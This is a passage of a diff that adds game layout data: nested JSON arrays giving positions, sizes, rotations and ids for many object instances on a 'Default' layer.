+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3391.209716796875,
+ 838.983154296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 1823,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3623.061767578125,
+ 701.0221557617188,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1824,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3282.607666015625,
+ 306.33251953125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1825,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3313.607666015625,
+ 306.33251953125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1826,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1837,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1838,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3910,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1839,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4002,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1840,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4094,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1841,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4186,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1858,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4277,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1859,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4369,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1860,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1862,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4672.00341796875,
+ 798.8510131835938,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1863,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1864,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4859,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1865,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4951,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1866,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5042,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1867,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5134,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1871,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.943359375,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1876,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3242.028564453125,
+ 457.8980407714844,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1877,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3726.73779296875,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2119,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.27978515625,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909.415283203125,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3909.415283203125,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3908.415283203125,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2124,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 795.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 891.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2126,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4000.957275390625,
+ 986.783447265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4093.22509765625,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2130,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2131,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.76708984375,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2133,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2134,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2135,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.90234375,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 796.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2137,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 892.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2138,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.44482421875,
+ 987.2376708984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2139,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 796.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2140,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 892.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2141,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460.26904296875,
+ 987.7831420898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2142,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2143,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2144,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4766.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2146,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4857.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2150,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4947.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2151,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2152,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2153,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5040.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2154,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2155,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2156,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2157,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2158,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 1068.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2159,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5224.94189453125,
+ 1163.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2886,
+ 694,
+ 0,
+ 182,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2165,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3065,
+ 787,
+ 0,
+ 192,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2166,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115.5,
+ 694,
+ 0,
+ 91,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2167,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3296,
+ 978,
+ 0,
+ 281,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2168,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115,
+ 365,
+ 0,
+ 459,
+ 88,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2169,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299,
+ 513,
+ 0,
+ 91,
+ 366,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2170,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.125,
+ 743.48486328125,
+ 0,
+ 287,
+ 33,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2171,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4095.5,
+ 814,
+ 0,
+ 824,
+ 307,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2172,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4997.5,
+ 1022.908203125,
+ 0,
+ 553,
+ 373.1834716796875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2173,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4617.02587890625,
+ 762.0482177734375,
+ 0,
+ 297.0997924804688,
+ 28,
+ 0,
+ 0.6457718014717102,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2174,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727.29345703125,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2176,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818.83544921875,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2177,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3908.970947265625,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2178,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4001.512939453125,
+ 1082.52880859375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2179,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4092.78076171875,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2180,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4184.32275390625,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2181,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4275.4580078125,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2182,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4367.00048828125,
+ 1082.983032226563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
